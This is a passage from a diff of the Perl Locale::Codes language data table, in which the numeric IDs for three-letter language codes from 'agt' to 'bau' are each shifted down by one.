          q(0),
          ],
       q(agt) => [
-         q(0671),
+         q(0670),
          q(0),
          ],
       q(agu) => [
-         q(0672),
+         q(0671),
          q(0),
          ],
       q(agv) => [
-         q(0673),
+         q(0672),
          q(0),
          ],
       q(agw) => [
-         q(0674),
+         q(0673),
          q(0),
          ],
       q(agx) => [
-         q(0675),
+         q(0674),
          q(0),
          ],
       q(agy) => [
-         q(0676),
+         q(0675),
          q(0),
          ],
       q(agz) => [
-         q(0677),
+         q(0676),
          q(0),
          ],
       q(aha) => [
-         q(0678),
+         q(0677),
          q(0),
          ],
       q(ahb) => [
-         q(0679),
+         q(0678),
          q(0),
          ],
       q(ahg) => [
-         q(0680),
+         q(0679),
          q(0),
          ],
       q(ahh) => [
-         q(0681),
+         q(0680),
          q(0),
          ],
       q(ahi) => [
-         q(0682),
+         q(0681),
          q(0),
          ],
       q(ahk) => [
-         q(0683),
+         q(0682),
          q(0),
          ],
       q(ahl) => [
-         q(0684),
+         q(0683),
          q(0),
          ],
       q(ahm) => [
-         q(0685),
+         q(0684),
          q(0),
          ],
       q(ahn) => [
-         q(0686),
+         q(0685),
          q(0),
          ],
       q(aho) => [
-         q(0687),
+         q(0686),
          q(0),
          ],
       q(ahp) => [
-         q(0688),
+         q(0687),
          q(0),
          ],
       q(ahr) => [
-         q(0689),
+         q(0688),
          q(0),
          ],
       q(ahs) => [
-         q(0690),
+         q(0689),
          q(0),
          ],
       q(aht) => [
-         q(0691),
+         q(0690),
          q(0),
          ],
       q(aia) => [
-         q(0692),
+         q(0691),
          q(0),
          ],
       q(aib) => [
-         q(0693),
+         q(0692),
          q(0),
          ],
       q(aic) => [
-         q(0694),
+         q(0693),
          q(0),
          ],
       q(aid) => [
-         q(0695),
+         q(0694),
          q(0),
          ],
       q(aie) => [
-         q(0696),
+         q(0695),
          q(0),
          ],
       q(aif) => [
-         q(0697),
+         q(0696),
          q(0),
          ],
       q(aig) => [
-         q(0698),
+         q(0697),
          q(0),
          ],
       q(aih) => [
-         q(0699),
+         q(0698),
          q(0),
          ],
       q(aii) => [
-         q(0700),
+         q(0699),
          q(0),
          ],
       q(aij) => [
-         q(0701),
+         q(0700),
          q(0),
          ],
       q(aik) => [
-         q(0702),
+         q(0701),
          q(0),
          ],
       q(ail) => [
-         q(0703),
+         q(0702),
          q(0),
          ],
       q(aim) => [
-         q(0704),
+         q(0703),
          q(0),
          ],
       q(ain) => [
@@ -59009,75 +58943,75 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(1),
          ],
       q(aio) => [
-         q(0705),
+         q(0704),
          q(0),
          ],
       q(aip) => [
-         q(0706),
+         q(0705),
          q(0),
          ],
       q(aiq) => [
-         q(0707),
+         q(0706),
          q(0),
          ],
       q(air) => [
-         q(0708),
+         q(0707),
          q(0),
          ],
       q(ais) => [
-         q(0709),
+         q(0708),
          q(0),
          ],
       q(ait) => [
-         q(0710),
+         q(0709),
          q(0),
          ],
       q(aiw) => [
-         q(0711),
+         q(0710),
          q(0),
          ],
       q(aix) => [
-         q(0712),
+         q(0711),
          q(0),
          ],
       q(aiy) => [
-         q(0713),
+         q(0712),
          q(0),
          ],
       q(aja) => [
-         q(0714),
+         q(0713),
          q(0),
          ],
       q(ajg) => [
-         q(0715),
+         q(0714),
          q(0),
          ],
       q(aji) => [
-         q(0716),
+         q(0715),
          q(0),
          ],
       q(ajn) => [
-         q(0717),
+         q(0716),
          q(0),
          ],
       q(ajp) => [
-         q(0718),
+         q(0717),
          q(0),
          ],
       q(ajt) => [
-         q(0719),
+         q(0718),
          q(0),
          ],
       q(aju) => [
-         q(0720),
+         q(0719),
          q(0),
          ],
       q(ajw) => [
-         q(0721),
+         q(0720),
          q(0),
          ],
       q(ajz) => [
-         q(0722),
+         q(0721),
          q(0),
          ],
       q(aka) => [
@@ -59085,39 +59019,39 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(akb) => [
-         q(0723),
+         q(0722),
          q(0),
          ],
       q(akc) => [
-         q(0724),
+         q(0723),
          q(0),
          ],
       q(akd) => [
-         q(0725),
+         q(0724),
          q(0),
          ],
       q(ake) => [
-         q(0726),
+         q(0725),
          q(0),
          ],
       q(akf) => [
-         q(0727),
+         q(0726),
          q(0),
          ],
       q(akg) => [
-         q(0728),
+         q(0727),
          q(0),
          ],
       q(akh) => [
-         q(0729),
+         q(0728),
          q(0),
          ],
       q(aki) => [
-         q(0730),
+         q(0729),
          q(0),
          ],
       q(akj) => [
-         q(0731),
+         q(0730),
          q(0),
          ],
       q(akk) => [
@@ -59125,63 +59059,63 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(akl) => [
-         q(0732),
+         q(0731),
          q(0),
          ],
       q(akm) => [
-         q(0733),
+         q(0732),
          q(0),
          ],
       q(ako) => [
-         q(0734),
+         q(0733),
          q(0),
          ],
       q(akp) => [
-         q(0735),
+         q(0734),
          q(0),
          ],
       q(akq) => [
-         q(0736),
+         q(0735),
          q(0),
          ],
       q(akr) => [
-         q(0737),
+         q(0736),
          q(0),
          ],
       q(aks) => [
-         q(0738),
+         q(0737),
          q(0),
          ],
       q(akt) => [
-         q(0739),
+         q(0738),
          q(0),
          ],
       q(aku) => [
-         q(0740),
+         q(0739),
          q(0),
          ],
       q(akv) => [
-         q(0741),
+         q(0740),
          q(0),
          ],
       q(akw) => [
-         q(0742),
+         q(0741),
          q(0),
          ],
       q(akx) => [
-         q(0743),
+         q(0742),
          q(0),
          ],
       q(aky) => [
-         q(0744),
+         q(0743),
          q(0),
          ],
       q(akz) => [
-         q(0745),
+         q(0744),
          q(0),
          ],
       q(ala) => [
-         q(0746),
+         q(0745),
          q(0),
          ],
       q(alb) => [
@@ -59189,11 +59123,11 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(alc) => [
-         q(0747),
+         q(0746),
          q(0),
          ],
       q(ald) => [
-         q(0748),
+         q(0747),
          q(0),
          ],
       q(ale) => [
@@ -59201,7 +59135,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(alf) => [
-         q(0749),
+         q(0748),
          q(0),
          ],
       q(alg) => [
@@ -59209,51 +59143,51 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(alh) => [
-         q(0750),
+         q(0749),
          q(0),
          ],
       q(ali) => [
-         q(0751),
+         q(0750),
          q(0),
          ],
       q(alj) => [
-         q(0752),
+         q(0751),
          q(0),
          ],
       q(alk) => [
-         q(0753),
+         q(0752),
          q(0),
          ],
       q(all) => [
-         q(0754),
+         q(0753),
          q(0),
          ],
       q(alm) => [
-         q(0755),
+         q(0754),
          q(0),
          ],
       q(aln) => [
-         q(0756),
+         q(0755),
          q(0),
          ],
       q(alo) => [
-         q(0757),
+         q(0756),
          q(0),
          ],
       q(alp) => [
-         q(0758),
+         q(0757),
          q(0),
          ],
       q(alq) => [
-         q(0759),
+         q(0758),
          q(0),
          ],
       q(alr) => [
-         q(0760),
+         q(0759),
          q(0),
          ],
       q(als) => [
-         q(0761),
+         q(0760),
          q(0),
          ],
       q(alt) => [
@@ -59261,51 +59195,51 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(alu) => [
-         q(0762),
+         q(0761),
          q(0),
          ],
       q(alv) => [
-         q(0489),
+         q(0488),
          q(0),
          ],
       q(alw) => [
-         q(0763),
+         q(0762),
          q(0),
          ],
       q(alx) => [
-         q(0764),
+         q(0763),
          q(0),
          ],
       q(aly) => [
-         q(0765),
+         q(0764),
          q(0),
          ],
       q(alz) => [
-         q(0766),
+         q(0765),
          q(0),
          ],
       q(ama) => [
-         q(0767),
+         q(0766),
          q(0),
          ],
       q(amb) => [
-         q(0768),
+         q(0767),
          q(0),
          ],
       q(amc) => [
-         q(0769),
+         q(0768),
          q(0),
          ],
       q(ame) => [
-         q(0770),
+         q(0769),
          q(0),
          ],
       q(amf) => [
-         q(0771),
+         q(0770),
          q(0),
          ],
       q(amg) => [
-         q(0772),
+         q(0771),
          q(0),
          ],
       q(amh) => [
@@ -59313,99 +59247,99 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(ami) => [
-         q(0773),
+         q(0772),
          q(0),
          ],
       q(amj) => [
-         q(0774),
+         q(0773),
          q(0),
          ],
       q(amk) => [
-         q(0775),
+         q(0774),
          q(0),
          ],
       q(aml) => [
-         q(0776),
+         q(0775),
          q(0),
          ],
       q(amm) => [
-         q(0777),
+         q(0776),
          q(0),
          ],
       q(amn) => [
-         q(0778),
+         q(0777),
          q(0),
          ],
       q(amo) => [
-         q(0779),
+         q(0778),
          q(0),
          ],
       q(amp) => [
-         q(0780),
+         q(0779),
          q(0),
          ],
       q(amq) => [
-         q(0781),
+         q(0780),
          q(0),
          ],
       q(amr) => [
-         q(0782),
+         q(0781),
          q(0),
          ],
       q(ams) => [
-         q(0783),
+         q(0782),
          q(0),
          ],
       q(amt) => [
-         q(0784),
+         q(0783),
          q(0),
          ],
       q(amu) => [
-         q(0785),
+         q(0784),
          q(0),
          ],
       q(amv) => [
-         q(0786),
+         q(0785),
          q(0),
          ],
       q(amw) => [
-         q(0787),
+         q(0786),
          q(0),
          ],
       q(amx) => [
-         q(0788),
+         q(0787),
          q(0),
          ],
       q(amy) => [
-         q(0789),
+         q(0788),
          q(0),
          ],
       q(amz) => [
-         q(0790),
+         q(0789),
          q(0),
          ],
       q(ana) => [
-         q(0791),
+         q(0790),
          q(0),
          ],
       q(anb) => [
-         q(0792),
+         q(0791),
          q(0),
          ],
       q(anc) => [
-         q(0793),
+         q(0792),
          q(0),
          ],
       q(and) => [
-         q(0794),
+         q(0793),
          q(0),
          ],
       q(ane) => [
-         q(0795),
+         q(0794),
          q(0),
          ],
       q(anf) => [
-         q(0796),
+         q(0795),
          q(0),
          ],
       q(ang) => [
@@ -59413,35 +59347,35 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(1),
          ],
       q(anh) => [
-         q(0797),
+         q(0796),
          q(0),
          ],
       q(ani) => [
-         q(0798),
+         q(0797),
          q(0),
          ],
       q(anj) => [
-         q(0799),
+         q(0798),
          q(0),
          ],
       q(ank) => [
-         q(0800),
+         q(0799),
          q(0),
          ],
       q(anl) => [
-         q(0801),
+         q(0800),
          q(0),
          ],
       q(anm) => [
-         q(0802),
+         q(0801),
          q(0),
          ],
       q(ann) => [
-         q(0803),
+         q(0802),
          q(0),
          ],
       q(ano) => [
-         q(0804),
+         q(0803),
          q(0),
          ],
       q(anp) => [
@@ -59449,123 +59383,123 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(anq) => [
-         q(0805),
+         q(0804),
          q(0),
          ],
       q(anr) => [
-         q(0806),
+         q(0805),
          q(0),
          ],
       q(ans) => [
-         q(0807),
+         q(0806),
          q(0),
          ],
       q(ant) => [
-         q(0808),
+         q(0807),
          q(0),
          ],
       q(anu) => [
-         q(0809),
+         q(0808),
          q(0),
          ],
       q(anv) => [
-         q(0810),
+         q(0809),
          q(0),
          ],
       q(anw) => [
-         q(0811),
+         q(0810),
          q(0),
          ],
       q(anx) => [
-         q(0812),
+         q(0811),
          q(0),
          ],
       q(any) => [
-         q(0813),
+         q(0812),
          q(0),
          ],
       q(anz) => [
-         q(0814),
+         q(0813),
          q(0),
          ],
       q(aoa) => [
-         q(0815),
+         q(0814),
          q(0),
          ],
       q(aob) => [
-         q(0816),
+         q(0815),
          q(0),
          ],
       q(aoc) => [
-         q(0817),
+         q(0816),
          q(0),
          ],
       q(aod) => [
-         q(0818),
+         q(0817),
          q(0),
          ],
       q(aoe) => [
-         q(0819),
+         q(0818),
          q(0),
          ],
       q(aof) => [
-         q(0820),
+         q(0819),
          q(0),
          ],
       q(aog) => [
-         q(0821),
+         q(0820),
          q(0),
          ],
       q(aoh) => [
-         q(0822),
+         q(0821),
          q(0),
          ],
       q(aoi) => [
-         q(0823),
+         q(0822),
          q(0),
          ],
       q(aoj) => [
-         q(0824),
+         q(0823),
          q(0),
          ],
       q(aok) => [
-         q(0825),
+         q(0824),
          q(0),
          ],
       q(aol) => [
-         q(0826),
+         q(0825),
          q(0),
          ],
       q(aom) => [
-         q(0827),
+         q(0826),
          q(0),
          ],
       q(aon) => [
-         q(0828),
+         q(0827),
          q(0),
          ],
       q(aor) => [
-         q(0829),
+         q(0828),
          q(0),
          ],
       q(aos) => [
-         q(0830),
+         q(0829),
          q(0),
          ],
       q(aot) => [
-         q(0831),
+         q(0830),
          q(0),
          ],
       q(aou) => [
-         q(0832),
+         q(0831),
          q(0),
          ],
       q(aox) => [
-         q(0833),
+         q(0832),
          q(0),
          ],
       q(aoz) => [
-         q(0834),
+         q(0833),
          q(0),
          ],
       q(apa) => [
@@ -59573,147 +59507,147 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(apb) => [
-         q(0835),
+         q(0834),
          q(0),
          ],
       q(apc) => [
-         q(0836),
+         q(0835),
          q(0),
          ],
       q(apd) => [
-         q(0837),
+         q(0836),
          q(0),
          ],
       q(ape) => [
-         q(0838),
+         q(0837),
          q(0),
          ],
       q(apf) => [
-         q(0839),
+         q(0838),
          q(0),
          ],
       q(apg) => [
-         q(0840),
+         q(0839),
          q(0),
          ],
       q(aph) => [
-         q(0841),
+         q(0840),
          q(0),
          ],
       q(api) => [
-         q(0842),
+         q(0841),
          q(0),
          ],
       q(apj) => [
-         q(0843),
+         q(0842),
          q(0),
          ],
       q(apk) => [
-         q(0844),
+         q(0843),
          q(0),
          ],
       q(apl) => [
-         q(0845),
+         q(0844),
          q(0),
          ],
       q(apm) => [
-         q(0846),
+         q(0845),
          q(0),
          ],
       q(apn) => [
-         q(0847),
+         q(0846),
          q(0),
          ],
       q(apo) => [
-         q(0848),
+         q(0847),
          q(0),
          ],
       q(app) => [
-         q(0849),
+         q(0848),
          q(0),
          ],
       q(apq) => [
-         q(0850),
+         q(0849),
          q(0),
          ],
       q(apr) => [
-         q(0851),
+         q(0850),
          q(0),
          ],
       q(aps) => [
-         q(0852),
+         q(0851),
          q(0),
          ],
       q(apt) => [
-         q(0853),
+         q(0852),
          q(0),
          ],
       q(apu) => [
-         q(0854),
+         q(0853),
          q(0),
          ],
       q(apv) => [
-         q(0855),
+         q(0854),
          q(0),
          ],
       q(apw) => [
-         q(0856),
+         q(0855),
          q(0),
          ],
       q(apx) => [
-         q(0857),
+         q(0856),
          q(0),
          ],
       q(apy) => [
-         q(0858),
+         q(0857),
          q(0),
          ],
       q(apz) => [
-         q(0859),
+         q(0858),
          q(0),
          ],
       q(aqa) => [
-         q(0490),
+         q(0489),
          q(0),
          ],
       q(aqc) => [
-         q(0860),
+         q(0859),
          q(0),
          ],
       q(aqd) => [
-         q(0861),
+         q(0860),
          q(0),
          ],
       q(aqg) => [
-         q(0862),
+         q(0861),
          q(0),
          ],
       q(aql) => [
-         q(0491),
+         q(0490),
          q(0),
          ],
       q(aqm) => [
-         q(0863),
+         q(0862),
          q(0),
          ],
       q(aqn) => [
-         q(0864),
+         q(0863),
          q(0),
          ],
       q(aqp) => [
-         q(0865),
+         q(0864),
          q(0),
          ],
       q(aqr) => [
-         q(0866),
+         q(0865),
          q(0),
          ],
       q(aqt) => [
-         q(0867),
+         q(0866),
          q(0),
          ],
       q(aqz) => [
-         q(0868),
+         q(0867),
          q(0),
          ],
       q(ara) => [
@@ -59721,7 +59655,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(arb) => [
-         q(0869),
+         q(0868),
          q(0),
          ],
       q(arc) => [
@@ -59729,11 +59663,11 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(ard) => [
-         q(0870),
+         q(0869),
          q(0),
          ],
       q(are) => [
-         q(0871),
+         q(0870),
          q(0),
          ],
       q(arg) => [
@@ -59741,23 +59675,23 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(arh) => [
-         q(0872),
+         q(0871),
          q(0),
          ],
       q(ari) => [
-         q(0873),
+         q(0872),
          q(0),
          ],
       q(arj) => [
-         q(0874),
+         q(0873),
          q(0),
          ],
       q(ark) => [
-         q(0875),
+         q(0874),
          q(0),
          ],
       q(arl) => [
-         q(0876),
+         q(0875),
          q(0),
          ],
       q(arm) => [
@@ -59769,7 +59703,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(aro) => [
-         q(0877),
+         q(0876),
          q(0),
          ],
       q(arp) => [
@@ -59777,15 +59711,15 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(arq) => [
-         q(0878),
+         q(0877),
          q(0),
          ],
       q(arr) => [
-         q(0879),
+         q(0878),
          q(0),
          ],
       q(ars) => [
-         q(0880),
+         q(0879),
          q(0),
          ],
       q(art) => [
@@ -59793,11 +59727,11 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(aru) => [
-         q(0881),
+         q(0880),
          q(0),
          ],
       q(arv) => [
-         q(0882),
+         q(0881),
          q(0),
          ],
       q(arw) => [
@@ -59805,63 +59739,63 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(arx) => [
-         q(0883),
+         q(0882),
          q(0),
          ],
       q(ary) => [
-         q(0884),
+         q(0883),
          q(0),
          ],
       q(arz) => [
-         q(0885),
+         q(0884),
          q(0),
          ],
       q(asa) => [
-         q(0886),
+         q(0885),
          q(0),
          ],
       q(asb) => [
-         q(0887),
+         q(0886),
          q(0),
          ],
       q(asc) => [
-         q(0888),
+         q(0887),
          q(0),
          ],
       q(asd) => [
-         q(0889),
+         q(0888),
          q(0),
          ],
       q(ase) => [
-         q(0890),
+         q(0889),
          q(0),
          ],
       q(asf) => [
-         q(0891),
+         q(0890),
          q(0),
          ],
       q(asg) => [
-         q(0892),
+         q(0891),
          q(0),
          ],
       q(ash) => [
-         q(0893),
+         q(0892),
          q(0),
          ],
       q(asi) => [
-         q(0894),
+         q(0893),
          q(0),
          ],
       q(asj) => [
-         q(0895),
+         q(0894),
          q(0),
          ],
       q(ask) => [
-         q(0896),
+         q(0895),
          q(0),
          ],
       q(asl) => [
-         q(0897),
+         q(0896),
          q(0),
          ],
       q(asm) => [
@@ -59869,27 +59803,27 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(asn) => [
-         q(0898),
+         q(0897),
          q(0),
          ],
       q(aso) => [
-         q(0899),
+         q(0898),
          q(0),
          ],
       q(asp) => [
-         q(0900),
+         q(0899),
          q(0),
          ],
       q(asq) => [
-         q(0901),
+         q(0900),
          q(0),
          ],
       q(asr) => [
-         q(0902),
+         q(0901),
          q(0),
          ],
       q(ass) => [
-         q(0903),
+         q(0902),
          q(0),
          ],
       q(ast) => [
@@ -59897,51 +59831,51 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(asu) => [
-         q(0904),
+         q(0903),
          q(0),
          ],
       q(asv) => [
-         q(0905),
+         q(0904),
          q(0),
          ],
       q(asw) => [
-         q(0906),
+         q(0905),
          q(0),
          ],
       q(asx) => [
-         q(0907),
+         q(0906),
          q(0),
          ],
       q(asy) => [
-         q(0908),
+         q(0907),
          q(0),
          ],
       q(asz) => [
-         q(0909),
+         q(0908),
          q(0),
          ],
       q(ata) => [
-         q(0910),
+         q(0909),
          q(0),
          ],
       q(atb) => [
-         q(0911),
+         q(0910),
          q(0),
          ],
       q(atc) => [
-         q(0912),
+         q(0911),
          q(0),
          ],
       q(atd) => [
-         q(0913),
+         q(0912),
          q(0),
          ],
       q(ate) => [
-         q(0914),
+         q(0913),
          q(0),
          ],
       q(atg) => [
-         q(0915),
+         q(0914),
          q(0),
          ],
       q(ath) => [
@@ -59949,143 +59883,143 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(ati) => [
-         q(0916),
+         q(0915),
          q(0),
          ],
       q(atj) => [
-         q(0917),
+         q(0916),
          q(0),
          ],
       q(atk) => [
-         q(0918),
+         q(0917),
          q(0),
          ],
       q(atl) => [
-         q(0919),
+         q(0918),
          q(0),
          ],
       q(atm) => [
-         q(0920),
+         q(0919),
          q(0),
          ],
       q(atn) => [
-         q(0921),
+         q(0920),
          q(0),
          ],
       q(ato) => [
-         q(0922),
+         q(0921),
          q(0),
          ],
       q(atp) => [
-         q(0923),
+         q(0922),
          q(0),
          ],
       q(atq) => [
-         q(0924),
+         q(0923),
          q(0),
          ],
       q(atr) => [
-         q(0925),
+         q(0924),
          q(0),
          ],
       q(ats) => [
-         q(0926),
+         q(0925),
          q(0),
          ],
       q(att) => [
-         q(0927),
+         q(0926),
          q(0),
          ],
       q(atu) => [
-         q(0928),
+         q(0927),
          q(0),
          ],
       q(atv) => [
-         q(0929),
+         q(0928),
          q(0),
          ],
       q(atw) => [
-         q(0930),
+         q(0929),
          q(0),
          ],
       q(atx) => [
-         q(0931),
+         q(0930),
          q(0),
          ],
       q(aty) => [
-         q(0932),
+         q(0931),
          q(0),
          ],
       q(atz) => [
-         q(0933),
+         q(0932),
          q(0),
          ],
       q(aua) => [
-         q(0934),
+         q(0933),
          q(0),
          ],
       q(aub) => [
-         q(0935),
+         q(0934),
          q(0),
          ],
       q(auc) => [
-         q(0936),
+         q(0935),
          q(0),
          ],
       q(aud) => [
-         q(0937),
+         q(0936),
          q(0),
          ],
       q(auf) => [
-         q(0492),
+         q(0491),
          q(0),
          ],
       q(aug) => [
-         q(0938),
+         q(0937),
          q(0),
          ],
       q(auh) => [
-         q(0939),
+         q(0938),
          q(0),
          ],
       q(aui) => [
-         q(0940),
+         q(0939),
          q(0),
          ],
       q(auj) => [
-         q(0941),
+         q(0940),
          q(0),
          ],
       q(auk) => [
-         q(0942),
+         q(0941),
          q(0),
          ],
       q(aul) => [
-         q(0943),
+         q(0942),
          q(0),
          ],
       q(aum) => [
-         q(0944),
+         q(0943),
          q(0),
          ],
       q(aun) => [
-         q(0945),
+         q(0944),
          q(0),
          ],
       q(auo) => [
-         q(0946),
+         q(0945),
          q(0),
          ],
       q(aup) => [
-         q(0947),
+         q(0946),
          q(0),
          ],
       q(auq) => [
-         q(0948),
+         q(0947),
          q(0),
          ],
       q(aur) => [
-         q(0949),
+         q(0948),
          q(0),
          ],
       q(aus) => [
@@ -60093,27 +60027,27 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(aut) => [
-         q(0950),
+         q(0949),
          q(0),
          ],
       q(auu) => [
-         q(0951),
+         q(0950),
          q(0),
          ],
       q(auw) => [
-         q(0952),
+         q(0951),
          q(0),
          ],
       q(aux) => [
-         q(0953),
+         q(0952),
          q(0),
          ],
       q(auy) => [
-         q(0954),
+         q(0953),
          q(0),
          ],
       q(auz) => [
-         q(0955),
+         q(0954),
          q(0),
          ],
       q(ava) => [
@@ -60121,11 +60055,11 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(avb) => [
-         q(0956),
+         q(0955),
          q(0),
          ],
       q(avd) => [
-         q(0957),
+         q(0956),
          q(0),
          ],
       q(ave) => [
@@ -60133,43 +60067,43 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(avi) => [
-         q(0958),
+         q(0957),
          q(0),
          ],
       q(avk) => [
-         q(0959),
+         q(0958),
          q(0),
          ],
       q(avl) => [
-         q(0960),
+         q(0959),
          q(0),
          ],
       q(avm) => [
-         q(0961),
+         q(0960),
          q(0),
          ],
       q(avn) => [
-         q(0962),
+         q(0961),
          q(0),
          ],
       q(avo) => [
-         q(0963),
+         q(0962),
          q(0),
          ],
       q(avs) => [
-         q(0964),
+         q(0963),
          q(0),
          ],
       q(avt) => [
-         q(0965),
+         q(0964),
          q(0),
          ],
       q(avu) => [
-         q(0966),
+         q(0965),
          q(0),
          ],
       q(avv) => [
-         q(0967),
+         q(0966),
          q(0),
          ],
       q(awa) => [
@@ -60177,147 +60111,147 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(awb) => [
-         q(0968),
+         q(0967),
          q(0),
          ],
       q(awc) => [
-         q(0969),
+         q(0968),
          q(0),
          ],
       q(awd) => [
-         q(0493),
+         q(0492),
          q(0),
          ],
       q(awe) => [
-         q(0970),
+         q(0969),
          q(0),
          ],
       q(awg) => [
-         q(0971),
+         q(0970),
          q(0),
          ],
       q(awh) => [
-         q(0972),
+         q(0971),
          q(0),
          ],
       q(awi) => [
-         q(0973),
+         q(0972),
          q(0),
          ],
       q(awk) => [
-         q(0974),
+         q(0973),
          q(0),
          ],
       q(awm) => [
-         q(0975),
+         q(0974),
          q(0),
          ],
       q(awn) => [
-         q(0976),
+         q(0975),
          q(0),
          ],
       q(awo) => [
-         q(0977),
+         q(0976),
          q(0),
          ],
       q(awr) => [
-         q(0978),
+         q(0977),
          q(0),
          ],
       q(aws) => [
-         q(0979),
+         q(0978),
          q(0),
          ],
       q(awt) => [
-         q(0980),
+         q(0979),
          q(0),
          ],
       q(awu) => [
-         q(0981),
+         q(0980),
          q(0),
          ],
       q(awv) => [
-         q(0982),
+         q(0981),
          q(0),
          ],
       q(aww) => [
-         q(0983),
+         q(0982),
          q(0),
          ],
       q(awx) => [
-         q(0984),
+         q(0983),
          q(0),
          ],
       q(awy) => [
-         q(0985),
+         q(0984),
          q(0),
          ],
       q(axb) => [
-         q(0986),
+         q(0985),
          q(0),
          ],
       q(axe) => [
-         q(0987),
+         q(0986),
          q(0),
          ],
       q(axg) => [
-         q(0988),
+         q(0987),
          q(0),
          ],
       q(axk) => [
-         q(0989),
+         q(0988),
          q(0),
          ],
       q(axl) => [
-         q(0990),
+         q(0989),
          q(0),
          ],
       q(axm) => [
-         q(0991),
+         q(0990),
          q(0),
          ],
       q(axx) => [
-         q(0992),
+         q(0991),
          q(0),
          ],
       q(aya) => [
-         q(0993),
+         q(0992),
          q(0),
          ],
       q(ayb) => [
-         q(0994),
+         q(0993),
          q(0),
          ],
       q(ayc) => [
-         q(0995),
+         q(0994),
          q(0),
          ],
       q(ayd) => [
-         q(0996),
+         q(0995),
          q(0),
          ],
       q(aye) => [
-         q(0997),
+         q(0996),
          q(0),
          ],
       q(ayg) => [
-         q(0998),
+         q(0997),
          q(0),
          ],
       q(ayh) => [
-         q(0999),
+         q(0998),
          q(0),
          ],
       q(ayi) => [
-         q(1000),
+         q(0999),
          q(0),
          ],
       q(ayk) => [
-         q(1001),
+         q(1000),
          q(0),
          ],
       q(ayl) => [
-         q(1002),
+         q(1001),
          q(0),
          ],
       q(aym) => [
@@ -60325,59 +60259,59 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(ayn) => [
-         q(1003),
+         q(1002),
          q(0),
          ],
       q(ayo) => [
-         q(1004),
+         q(1003),
          q(0),
          ],
       q(ayp) => [
-         q(1005),
+         q(1004),
          q(0),
          ],
       q(ayq) => [
-         q(1006),
+         q(1005),
          q(0),
          ],
       q(ayr) => [
-         q(1007),
+         q(1006),
          q(0),
          ],
       q(ays) => [
-         q(1008),
+         q(1007),
          q(0),
          ],
       q(ayt) => [
-         q(1009),
+         q(1008),
          q(0),
          ],
       q(ayu) => [
-         q(1010),
+         q(1009),
          q(0),
          ],
       q(ayy) => [
-         q(1011),
+         q(1010),
          q(0),
          ],
       q(ayz) => [
-         q(1012),
+         q(1011),
          q(0),
          ],
       q(aza) => [
-         q(1013),
+         q(1012),
          q(0),
          ],
       q(azb) => [
-         q(1014),
+         q(1013),
          q(0),
          ],
       q(azc) => [
-         q(0494),
+         q(0493),
          q(0),
          ],
       q(azd) => [
-         q(1015),
+         q(1014),
          q(0),
          ],
       q(aze) => [
@@ -60385,43 +60319,43 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(azg) => [
-         q(1016),
+         q(1015),
          q(0),
          ],
       q(azj) => [
-         q(1017),
+         q(1016),
          q(0),
          ],
       q(azm) => [
-         q(1018),
+         q(1017),
          q(0),
          ],
       q(azn) => [
-         q(1019),
+         q(1018),
          q(0),
          ],
       q(azo) => [
-         q(1020),
+         q(1019),
          q(0),
          ],
       q(azt) => [
-         q(1021),
+         q(1020),
          q(0),
          ],
       q(azz) => [
-         q(1022),
+         q(1021),
          q(0),
          ],
       q(baa) => [
-         q(1023),
+         q(1022),
          q(0),
          ],
       q(bab) => [
-         q(1024),
+         q(1023),
          q(0),
          ],
       q(bac) => [
-         q(1025),
+         q(1024),
          q(0),
          ],
       q(bad) => [
@@ -60429,19 +60363,19 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(bae) => [
-         q(1026),
+         q(1025),
          q(0),
          ],
       q(baf) => [
-         q(1027),
+         q(1026),
          q(0),
          ],
       q(bag) => [
-         q(1028),
+         q(1027),
          q(0),
          ],
       q(bah) => [
-         q(1029),
+         q(1028),
          q(0),
          ],
       q(bai) => [
@@ -60449,7 +60383,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(baj) => [
-         q(1030),
+         q(1029),
          q(0),
          ],
       q(bak) => [
@@ -60469,11 +60403,11 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(bao) => [
-         q(1031),
+         q(1030),
          q(0),
          ],
       q(bap) => [
-         q(1032),
+         q(1031),
          q(0),
          ],
       q(baq) => [
@@ -60481,7 +60415,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(bar) => [
-         q(1033),
+         q(1032),
          q(0),
          ],
       q(bas) => [
@@ -60493,367 +60427,367 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(bau) => [
